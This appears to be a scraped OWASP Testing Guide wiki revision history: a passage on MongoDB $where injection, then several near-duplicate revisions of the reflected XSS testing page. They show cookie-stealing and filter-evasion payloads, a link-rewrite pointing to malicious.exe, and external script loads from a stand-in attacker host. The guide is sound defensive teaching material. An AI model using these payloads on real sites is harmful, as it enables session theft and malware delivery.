Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named <code>$where</code> via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of <code>$where</code> other than the string "$where" itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: <code>"$where: function() { //arbitrary JavaScript here }"</code>

<br>
'''Result Expected:'''<br>
...<br><br>
== References ==
'''Whitepapers'''<br>
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf

http://erlend.oftedal.no/blog/?blogid=110

http://www.syhunt.com/?n=Articles.NoSQLInjection

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection

http://php.net/manual/en/mongocollection.find.php
...<br>
'''Tools'''<br>
...<br>

Testing for NoSQL injection

2013-08-09T15:56:41Z

Ben Walther:

Testing for NoSQL injection

2013-08-09T15:36:27Z

Ben Walther:

Testing for NoSQL injection

2013-08-09T15:36:02Z

Ben Walther: Background and References.

Testing for NoSQL injection

2013-08-09T15:29:11Z

Ben Walther:

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2013-08-01T18:31:46Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

== Description of the Issue ==

Reflected XSS are the most frequent type of XSS attacks found in the wild.

Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. Because the attack hijacks the browser's trust of the web application, it is a type of "Confused Deputy http://en.wikipedia.org/wiki/Confused_deputy_problem]" attack.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests back to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code using the victim's browser.

Commonly the attacker's code is written in the Javascript language, but
other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to
install key loggers, steal victim cookies, perform clipboard theft, and
change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so, for example, the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.

== Black Box testing and example ==
A black-box test will include at least three phases:

1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. <br />Some example of such input data are the following:
<pre>
<script>alert(123)</script>
</pre>
<pre>
“><script>alert(document.cookie)</script>
</pre>
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].

3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
<pre>
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
</pre>

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].

Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:
<pre>
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
</pre>

For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]

=== Example 1 ===
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

=== Example 2 ===
Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

== Bypass XSS filters ==
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.

The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled.

Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.

The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.

=== Example 3: Tag Attribute Value ===
<br>
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<pre>
<input type="text" name="state" value="INPUT_FROM_USER">
</pre>

Then an attacker could submit the following code:
<pre>
" onfocus="alert(document.cookie)
</pre>

=== Example 4: Different syntax or enconding ===
<br>
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.
Following some examples:
<pre>
"><script >alert(document.cookie)</script >
</pre>

<pre>
"><ScRiPt>alert(document.cookie)</ScRiPt>
</pre>

<pre>
"%3cscript%3ealert(document.cookie)%3c/script%3e
</pre>

=== Example 5: Bypassing non-recursive filtering ===
<br>
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:
<pre>
<scr<script>ipt>alert(document.cookie)</script>
</pre>

=== Example 6: Including external script ===
<br>
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
</pre>

In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like
<pre>
<script src="http://attacker/xss.js"></script>
</pre>
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
<pre>
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
</pre>
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was
originating from the victim web site, http://example/.

=== Example 7: HTTP Parameter Pollution (HPP) ===
<br>
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information.
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
based security mechanisms.
<br>
Regular attack:
<pre>
http://example/page.php?param=<script>[...]</script>
</pre>
Attack using HPP:
<pre>
http://example/page.php?param=<script&param=>[...]</&param=script>
</pre>

''' Result expected '''
<br>
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

== Gray Box testing ==
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.

If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.

== References ==
'''OWASP Resources'''<br>
*[[XSS Filter Evasion Cheat Sheet]]
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]
'''Tools''' <br>
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2013-08-01T18:27:38Z

Ben Walther: Updated descriptions, example special characters, formatting, spelling.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

== Description of the Issue ==

Reflected XSS are the most frequent type of XSS attacks found in the wild.

Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. Because the attack hijacks the browser's trust of the web application, it is a type of "Confused Deputy http://en.wikipedia.org/wiki/Confused_deputy_problem]" attack.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests back to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code using the victim's browser.

Commonly the attacker's code is written in the Javascript language, but
other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to
install key loggers, steal victim cookies, perform clipboard theft, and
change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so, for example, the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.

== Black Box testing and example ==
A black-box test will include at least three phases:

1. Detect input vectors. For each web page, the tester must determine all the web application's
user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the
tester will typically use specially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser that
manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually.
Some example of such input data are the following:
<pre>
<script>alert(123)</script>
</pre>
<pre>
“><script>alert(document.cookie)</script>
</pre>
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].

3. For each test input attempted in the previous phase, the tester
will analyze the result and determine if it represents a vulnerability that
has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
<pre>
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
</pre>

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].

Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:
<pre>
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
</pre>

For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]

=== Example 1 ===
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

=== Example 2 ===
Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

== Bypass XSS filters ==
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.

The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled.

Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.

The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.

''' Example 3: Tag Attribute Value '''
<br>
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<pre>
<input type="text" name="state" value="INPUT_FROM_USER">
</pre>

Then an attacker could submit the following code:
<pre>
" onfocus="alert(document.cookie)
</pre>

''' Example 4: Different syntax or enconding '''
<br>
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.
Following some examples:
<pre>
"><script >alert(document.cookie)</script >
</pre>

<pre>
"><ScRiPt>alert(document.cookie)</ScRiPt>
</pre>

<pre>
"%3cscript%3ealert(document.cookie)%3c/script%3e
</pre>

''' Example 5: Bypassing non-recursive filtering '''
<br>
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:
<pre>
<scr<script>ipt>alert(document.cookie)</script>
</pre>

''' Example 6: Including external script '''
<br>
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
</pre>

In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like
<pre>
<script src="http://attacker/xss.js"></script>
</pre>
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
<pre>
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
</pre>
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was
originating from the victim web site, http://example/.

''' Example 7: HTTP Parameter Pollution (HPP) '''
<br>
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information.
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
based security mechanisms.
<br>
Regular attack:
<pre>
http://example/page.php?param=<script>[...]</script>
</pre>
Attack using HPP:
<pre>
http://example/page.php?param=<script&param=>[...]</&param=script>
</pre>

''' Result expected '''
<br>
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

== Gray Box testing ==
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.

If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.

== References ==
'''OWASP Resources'''<br>
*[[XSS Filter Evasion Cheat Sheet]]
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]
'''Tools''' <br>
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2013-08-01T18:03:48Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

== Description of the Issue ==

Reflected XSS are the most frequent type of XSS attacks found in the wild.

Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. Because the attack hijacks the browsers trust of the web application, it is a type of "Confused Deputy http://en.wikipedia.org/wiki/Confused_deputy_problem]" attack.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests back to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code using the victim's credentials.

Commonly the attacker's code is written in the Javascript language, but
other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to
install key loggers, steal victim cookies, perform clipboard theft, and
change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so, for example, the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's [[OWASP CAL9000 Project|CAL9000]].

== Black Box testing and example ==
A black-box test will include at least three phases:

1. Detect input vectors. For each web page, the tester must determine all the web application's
user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the
tester will typically use specially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser that
manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually.
Some example of such input data are the following:
<pre>
<script>alert(123)</script>
</pre>
<pre>
“><script>alert(document.cookie)</script>
</pre>
For a comprehensive list of potential test strings, see the [[XSS_Filter_Evasion_Cheat_Sheet]].

3. For each test input attempted in the previous phase, the tester
will analyze the result and determine if it represents a vulnerability that
has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
<pre>
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
</pre>

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].

Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:

\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)

For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]

''' Example 1 '''
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

''' Example 2 '''
Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

=== Bypass XSS filters ===
Most web applications today use some sort of sanitization. Yet,
some remain vulnerable. Reflected cross-site scripting attacks are
prevented either at the side of the server, by sanitization or web
application firewall, or at the side of the client by prevention
mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers or, if updated, the filter could be disabled, the tester cannot count on this and he has to test for vulnerabilities assuming that web browsers will not prevent the attack. Moreover is important to note that some of these filters can be circumvented.
(<b>Note</b>: In a grey-box or white-box test, the tester might access the source code and analyze the server-side sanitization procedure to decide if and how it can be circumvented).

The web application could implement elementary blacklist-based filters attempting to avoid XSS attacks. These type of filters usually remove or encode expressions that could be dangerous (for example the <script> tag) within request parameters.

''' Example 3: Tag Attribute Value '''
<br>
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<pre>
<input type="text" name="state" value="INPUT_FROM_USER">
</pre>

Then an attacker could submit the following code:
<pre>
" onfocus="alert(document.cookie)
</pre>

''' Example 4: Different syntax or enconding '''
<br>
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the econding. These variations are tolerated by browsers when the code is returned, and they could also be accepted by the filter.
Following some examples:
<pre>
"><script >alert(document.cookie)</script >
</pre>

<pre>
"><ScRiPt>alert(document.cookie)</ScRiPt>
</pre>

<pre>
"%3cscript%3ealert(document.cookie)%3c/script%3e
</pre>

''' Example 5: Bypassing non-recursive filtering '''
<br>
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string like this one:
<pre>
<scr<script>ipt>alert(document.cookie)</script>
</pre>

''' Example 6: Including external script '''
<br>
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
</pre>

In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like
<pre>
<script src="http://attacker/xss.js"></script>
</pre>
